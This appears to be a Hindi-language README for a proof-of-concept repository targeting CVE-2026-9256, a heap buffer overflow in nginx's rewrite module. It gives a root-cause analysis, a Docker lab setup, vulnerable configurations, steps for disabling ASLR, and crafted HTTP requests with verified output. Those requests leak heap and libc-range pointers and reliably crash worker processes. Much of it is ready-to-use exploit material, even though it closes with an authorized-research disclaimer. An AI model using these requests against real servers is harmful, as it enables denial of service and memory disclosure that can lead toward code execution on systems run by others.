
CVE-2026-9256 के लिए प्रूफ-ऑफ-कॉन्सेप्ट: nginx ngx_http_rewrite_module में हीप बफर ओवरफ्लो। इसमें हीप/libc पॉइंटर लीक और DoS क्रैश PoCs शामिल हैं, जिसमें विस्तृत रूट कॉज़ विश्लेषण और पुनरुत्पादन चरण दिए गए हैं।
nginx Plus और nginx Open Source ngx_http_rewrite_module में एक हीप बफर ओवरफ्लो भेद्यता है। जब कोई rewrite निर्देश एक ऐसे regex का उपयोग करता है जिसमें कई अतिव्यापी PCRE कैप्चर समूह हों (उदा. ^/((.*))$) और एक प्रतिस्थापन जो कई कैप्चर को संदर्भित करता है (उदा. $1&y=$2), तो स्टैटिक-पथ बफर आकार की गणना आवश्यक स्थान को कम आंकती है, जिससे वास्तविक लेखन आवंटित आकार (Pool Slip) से अधिक हो जाता है।
एक अप्रमाणित हमलावर एक क्राफ्टेड HTTP अनुरोध के माध्यम से इसे ट्रिगर कर सकता है, जिसके परिणामस्वरूप वर्कर प्रक्रिया में हीप बफर ओवरफ्लो होता है। जब ASLR अक्षम हो या इसे बायपास किया जा सके, तो कोड निष्पादन संभव है।
फ़ाइल: src/http/ngx_http_script.c:1143-1155
if (code->lengths == NULL) {
e->buf.len = code->size;
if (code->uri) {
if (r->ncaptures && (r->quoted_uri || r->plus_in_uri)) {
// BUG: escape overhead counted once for the entire URI
e->buf.len += 2 * ngx_escape_uri(NULL, r->uri.data, r->uri.len,
NGX_ESCAPE_ARGS);
}
}
for (n = 2; n < r->ncaptures; n += 2) {
e->buf.len += r->captures[n + 1] - r->captures[n]; // raw length
}
}
प्रतिलिपि के दौरान प्रत्येक $N को स्वतंत्र रूप से एस्केप किया जाता है (ngx_http_script.c:1397-1401). नेस्टेड कैप्चर के कारण एक ही सबस्ट्रिंग दो बार एस्केप होती है, जिससे एस्केप लागत दोगुनी हो जाती है, लेकिन आवंटन इसे केवल एक बार ही ध्यान में रखता है।
ओवरफ्लो सूत्र (2-स्तरीय नेस्टिंग ((.+)), URI में Q + वर्ण):
allocated = code_size + 2*Q + 2*(Q+1)
actual = code_size + 2*(3*Q + 1)
overflow = 2*Q (precisely controllable)
ट्रिगर शर्तें (तीनों आवश्यक):
.
├── env/
│ ├── Dockerfile # Based on nginx:1.31.0
│ ├── docker-compose.yml # Container config (SYS_PTRACE)
│ ├── entrypoint.sh # ASLR on (default)
│ ├── entrypoint_aslr_off.sh # ASLR off (for libc_leak)
│ └── nginx.conf # Vulnerable config
├── heap_leak.py # heap_leak PoC
├── libc_leak.py # libc_leak PoC
├── crash_verify.py # crash_verify PoC
├── LICENSE
└── README.md
cd env/
# Pull base image (~200MB)
docker pull nginx:1.31.0
# Build and start
docker compose up --build -d
# Verify
curl -s http://127.0.0.1:19321/
# Expected: ok
# View nginx logs (crash info)
docker compose logs -f
# Stop and remove
docker compose down
# Restart (after crash)
docker compose restart
वर्तमान स्थिति जाँचें:
cat /proc/sys/kernel/randomize_va_space
# 0 = off, 1 = partial, 2 = full
heap_leak और crash_verify ASLR की परवाह किए बिना काम करते हैं। libc_leak के लिए होस्ट पर ASLR अक्षम होना आवश्यक है:
sudo sysctl -w kernel.randomize_va_space=0
docker compose restart
वैकल्पिक रूप से, केवल nginx प्रक्रिया के लिए ASLR अक्षम करें (कोई होस्ट विशेषाधिकार आवश्यक नहीं): entrypoint_aslr_off.sh को entrypoint.sh पर कॉपी करें, फिर docker compose up --build -d चलाएँ।
नोट: कंटेनर होस्ट कर्नेल साझा करते हैं।
randomize_va_spaceको होस्ट पर सेट किया जाना चाहिए।
आवश्यक कॉन्फ़िगरेशन:
location /echo/ {
rewrite ^/echo/((.+))$ /show?x=$1&y=$2 last;
}
location /show {
internal;
default_type text/plain;
return 200 "x=$arg_x\ny=$arg_y\n";
}
तंत्र: Pool Slip के कारण ngx_pcalloc(r->pool, sizeof(ngx_http_script_engine_t)) ओवरफ्लो ज़ोन में आ जाता है। स्क्रिप्ट इंजन के आरंभित फ़ील्ड (e->ip, e->sp, e->request) पुनर्लिखित URI के क्वेरी स्ट्रिंग में लीक हो जाते हैं और return 200 "$arg_y" के माध्यम से परावर्तित होते हैं।
अनुरोध:
GET /echo/%25%25%25%25%25A HTTP/1.0
सत्यापित परिणाम (nginx:1.31.0, ASLR चालू):
e->ip = 0x00006544dec82430 (config pool codes array)
e->sp = 0x00006544dec5ada0 (request pool script stack)
e->request = 0x00006544dec58880 (request struct)
क्या लीक होता है: nginx वर्कर एड्रेस स्पेस के भीतर रॉ हीप पॉइंटर्स।
PoC: heap_leak.py
आवश्यक कॉन्फ़िगरेशन:
location /leak2/ {
rewrite ^/leak2/((.+))$ /proxy-leak?x=$1&y=$2 last;
}
location /proxy-leak {
internal;
proxy_pass http://backend; # must be reachable
add_header X-Leak-Y "$arg_y" always;
}
तंत्र: proxy_pass अपस्ट्रीम आरंभीकरण को ट्रिगर करता है। लाइब्रेरी फ़ंक्शन पॉइंटर्स वाले अपस्ट्रीम संरचनाएं ओवरफ्लो ज़ोन में आवंटित होती हैं। add_header "$arg_y" रॉ बाइट्स को प्रतिक्रिया हेडर में लिखता है।
अनुरोध:
GET /leak2/%25%25...(~40 x %25)...A HTTP/1.0
सत्यापित परिणाम (nginx:1.31.0, ASLR बंद, request_pool_size=7920):
leaked ptr = 0x00007fbfc3b7c346
क्या लीक होता है: 0x7f... रेंज में एक रॉ पॉइंटर (libc लोड क्षेत्र)। libc बेस की गणना करने के लिए, लक्ष्य पर /proc/<pid>/maps पढ़ें और leaked_ptr - libc_base की गणना करें।
ASLR निर्भरता: इस चरण के लिए ASLR बंद होना आवश्यक है। लीक हुआ पॉइंटर मुक्त चंक मेटाडेटा (fd/bk → main_arena) से उत्पन्न होता है। ASLR चालू होने पर, मुक्त चंक ऑफ़सेट बदलता है और छोटे ओवरफ्लो उस तक विश्वसनीय रूप से नहीं पहुंच सकते।
PoC: libc_leak.py
सरल विकल्प:
redirectमोड (rewrite ^/r/((.*))$ http://.../?$1$2 redirect;) का उपयोग करके,Locationहेडर सीधे रॉ ओवरफ्लो बाइट्स को बिना कैरेक्टर एन्कोडिंग समस्याओं के उजागर करता है। एक एकल अनुरोध से हीप पॉइंटर्स लीक हो सकते हैं (Q=10~450) या क्रैश ट्रिगर हो सकता है (Q >= 500), किसी proxy_pass या विशेष pool_size की आवश्यकता नहीं।
आवश्यक कॉन्फ़िगरेशन:
location /leak9/ {
rewrite ^/leak9/(((((((((.+)))))))))$ /show9?a=$1&b=$2&c=$3&d=$4&e=$5&f=$6&g=$7&h=$8&i=$9 last;
}
location /show9 {
internal;
default_type text/plain;
return 200 "i=$arg_i\n";
}
तंत्र: 9-स्तरीय नेस्टिंग से ओवरफ्लो = 16Q (जबकि 2-स्तरीय में 2Q). request_pool_size=7920 पर, Q=123 पूल ब्लॉक सीमा से बाहर निकलता है, आसन्न malloc चंक मेटाडेटा को अधिलेखित करता है। glibc भ्रष्टाचार का पता लगाता है और वर्कर को समाप्त कर देता है। मास्टर स्वचालित रूप से पुनरारंभ होता है।
अनुरोध:
GET /leak9/%2b%2b...(123 x %2b)...A HTTP/1.0
सत्यापित परिणाम (nginx:1.31.0, request_pool_size=7920):
Q=122: normal response (overflow=1952B)
Q=123: no response, nginx error.log:
corrupted size vs. prev_size
worker process XX exited on signal 6 (core dumped)
Reproduced 5/5 times.
नेस्टिंग बनाम pool_size: N परतों से ओवरफ्लो = (N-1)*2*Q. डिफ़ॉल्ट pool_size=4096 और 9-स्तरीय नेस्टिंग क्रैश के लिए पर्याप्त है। बड़े pool_size के लिए दिए गए Q पर कम परतों की आवश्यकता होती है।
PoC: crash_verify.py
# Stage 1: Heap pointer leak
python3 heap_leak.py 127.0.0.1 19321
# Stage 2: libc-range pointer leak (requires ASLR off)
python3 libc_leak.py 127.0.0.1 19321
# Stage 3: DoS crash
python3 crash_verify.py 127.0.0.1 19321
यह प्रूफ-ऑफ-कॉन्सेप्ट केवल शैक्षिक और अधिकृत सुरक्षा अनुसंधान उद्देश्यों के लिए प्रदान किया गया है। अनधिकृत उपयोग निषिद्ध है।
| शर्त | विवरण |
|---|
कोई नामित चर नहीं, कोई डुप्लिकेट $N नहीं | स्टैटिक पथ (sc.variables==0 && !sc.dup_capture) |
| regex में नेस्टेड कैप्चर समूह | उदा. ((.+)) से $1 और $2 समान सामग्री से मेल खाते हैं |
URI में + या %XX | एस्केप पथ को ट्रिगर करता है (plus_in_uri या quoted_uri) |